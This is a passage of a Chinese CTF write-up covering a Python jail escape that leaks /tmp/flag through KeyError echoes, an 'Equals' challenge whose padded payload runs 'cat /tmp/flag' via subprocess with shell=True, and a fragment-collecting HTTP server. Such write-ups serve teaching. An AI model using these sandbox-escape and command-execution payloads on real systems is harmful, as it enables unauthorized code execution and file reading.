以外还可以对其进行&lt;strong&gt;解构&lt;/strong&gt;，我们可以使用数组来承载解构后的结果（元组、集合亦可，但要注意的是用元组承载时要额外加一个逗号来向解释器说明这是元组而不是分组表达式用的圆括号 &lt;code&gt;(*open(&quot;/tmp/flag&quot;),)&lt;/code&gt; ），即 &lt;code&gt;[*open(&quot;/tmp/flag&quot;)]&lt;/code&gt; 。&lt;/p&gt;&lt;p&gt;由于 &lt;code&gt;eval()&lt;/code&gt; 不会直接输出表达式的值，所以我们要让数组显示出来得寻找别的方法。正常的输出函数由于 &lt;code&gt;__builtins__&lt;/code&gt; 的置空已经失效，但是我们可以从“非正常（abnormal）”角度来思考，&lt;span&gt;&lt;span&gt;abnormal=errorabnormal=error&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;abn&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;ma&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;er&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，所以我们想到通过&lt;strong&gt;错误回显&lt;/strong&gt;的方式来输出（doge）。（其实是从代码中存在主动捕获错误 （&lt;code&gt;try...except...&lt;/code&gt;） 的处理可以发现错误回显的思路）&lt;/p&gt;&lt;p&gt;常见的错误回显方式如构造&lt;strong&gt;空字典&lt;/strong&gt;然后使用 &lt;code&gt;[key]&lt;/code&gt; 访问里面的内容，显然不可能访问到，于是会报错 &lt;code&gt;KeyError&lt;/code&gt; ，在回显中会显示 &lt;code&gt;key&lt;/code&gt; 的值，我们只要用格式化字符串 &lt;code&gt;f&quot;{[*open(&quot;/tmp/flag&quot;)]}&quot;&lt;/code&gt; 来将数组强制转化为字符串来作为 &lt;code&gt;key&lt;/code&gt; 即可得到数组内容也即文件内容。注意这边并&lt;strong&gt;不能&lt;/strong&gt;构造数组，因为数组传入字符串索引会报的 &lt;code&gt;TypeError: list indices must be integers or slices, not str&lt;/code&gt; 是不会回显具体索引的。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Equals&lt;a href=&quot;#equals&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;听说你数学很好，试试让等式成立？&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;题目的判定标准是，对于 &lt;code&gt;code&lt;/code&gt; 需满足 &lt;span&gt;&lt;span&gt;∑ord(c)=len2(code),c∈code\sum ord(c) = len^2(code), c \in code&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∑&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∈&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 。由于等式右边初始值过小，左边对于可见字符而言最小也是 &lt;code&gt;32&lt;/code&gt; ，所以输入比较短的代码基本上无法满足。但是注意到左边是近似线性增长，右边是幂增长，所以当代码长度增加时右边最后会超过左边。想到让代码增长但又不影响其功能，首先想到就是注释 &lt;code&gt;#&lt;/code&gt; ，我们只需要构造出一个后面缀有特定字符作为注释的 Payload 即可。&lt;/p&gt;&lt;p&gt;接下来推导构建方法，这里涉及到简单的初中数学知识。假设对于原来的代码设为 &lt;span&gt;&lt;span&gt;codecode&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，其中的字符设为 &lt;span&gt;&lt;span&gt;cc&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，下一步要新增的字符设为 &lt;span&gt;&lt;span&gt;nn&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ：&lt;/p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;∑ord(c)+ord(n)=(len(code)+1)2ord(n)=len2(code)+2len(code)+1−∑ord(c)\begin{aligned}
\sum ord(c)+ord(n)&amp;amp;=(len(code)+1)^2 \\
ord(n)&amp;amp;=len^2(code)+2len(code)+1-\sum ord(c)
\end{aligned}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;∑&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;co&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∑&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;也就是说我们只要让下一个添加的字符的 ascii 码尽可能接近我们当前整个代码的那一大串值（上式中等号右侧）即可。由于在前面很长一段的里面等号右边的值都是负数，所以我们只需要添加尽可能小的字符，也就是空格，其 ascii 为 &lt;code&gt;32&lt;/code&gt; 。由于右侧是幂增长，一旦超过左侧就无法被赶上了，所以当我们右侧第一次或者第二次大于 0 的时候大概率就是为数不多可能存在一个可见字符 &lt;span&gt;&lt;span&gt;nn&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 满足等式的情况了（第一次大于零的时候可能小于 32 ，这时需要看第二次），这时候只需找到对应 &lt;span&gt;&lt;span&gt;nn&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 即可。&lt;strong&gt;需要注意的是如果原 Payload 过长有可能出现无法构造的情况&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;对以下 Payload 进行构造：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__import__&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;subprocess&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;cat /tmp/flag&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;shell&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;stdout&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;).stdout)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在添加了 &lt;code&gt;#&lt;/code&gt; 与五个空格后设等式右边为 &lt;span&gt;&lt;span&gt;tt&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  ，此时 &lt;span&gt;&lt;span&gt;t=100t=100&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，满足关系式 &lt;span&gt;&lt;span&gt;32≤t≤12632\leq t\leq 126&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;≤&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;≤&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;126&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 。则 &lt;span&gt;&lt;span&gt;n=chr(t)n=chr(t)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;h&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，n 取 &lt;code&gt;&apos;d&apos;&lt;/code&gt; 。&lt;/p&gt;&lt;p&gt;最终得到的 Payload 如下：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__import__&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;subprocess&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;cat /tmp/flag&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;shell&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;stdout&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;).stdout)&lt;/span&gt;&lt;span&gt;#     d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;开发与运维基础&lt;a href=&quot;#开发与运维基础&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;碎片风暴&lt;a href=&quot;#碎片风暴&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;服务器突然涌入了大量的并发请求！而且每个请求体里，都只带了一小段零碎的字符串。&lt;/p&gt;&lt;p&gt;运维人员抓包后发现，这些字符串似乎是某个重要机密（Flag）的碎片。它们没有序号、没有偏移量，顺序完全是乱的。&lt;/p&gt;&lt;p&gt;你能写一个高性能的服务，接住这些高并发请求，并把完整的 Flag 拼凑出来吗？&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;首先先要确认请求的格式，通过以下 Python 代码：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind((&apos;0.0.0.0&apos;, 3000)); s.settimeout(3); s.listen(1); c,a=s.accept(); print(c.recv(4096).decode(errors=&apos;ignore&apos;)); c.close(); s.close()&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;可以捕获其中一个“碎片”：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;POST / HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Host: 127.0.0.1:3000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;User-Agent: Go-http-client/1.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content-Length: 4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content-Type: text/plain&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Accept-Encoding: gzip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n_Bu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;可以知道是标准的 POST 请求，于是编写 Python 代码进行简单的捕获，然后再用题目附件给的 SCS 求解函数进行拼接，最终得到 flag 。（&lt;s&gt;当然理论上用该 Python 代码提交 n 次也可以得到完整的 flag &lt;/s&gt;）&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; asyncio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;frags &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;lock &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; asyncio.&lt;/span&gt;&lt;span&gt;Lock&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;solve_scs&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fragments&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; list[&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;) -&amp;gt; tuple[&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;]:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Shortest Common Superstring solver.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Args:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;fragments: 碎片列表（可含重复）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Returns:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(result, is_success)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- result: 还原后的字符串&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- is_success: True = 贪心结果唯一可信；False = 存在歧义或碎片不连续&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; itertools &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; permutations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 1. 去重 + 去冗余（被其他片段包含的直接丢弃）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;frags &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;dict&lt;/span&gt;&lt;span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;fromkeys&lt;/span&gt;&lt;span&gt;(fragments))           &lt;/span&gt;&lt;/span&gt;&lt;span&gt;# 去重，保序&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;frags &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;f &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; f &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; frags&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;any&lt;/span&gt;&lt;span&gt;(f &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; g &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; g &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; frags 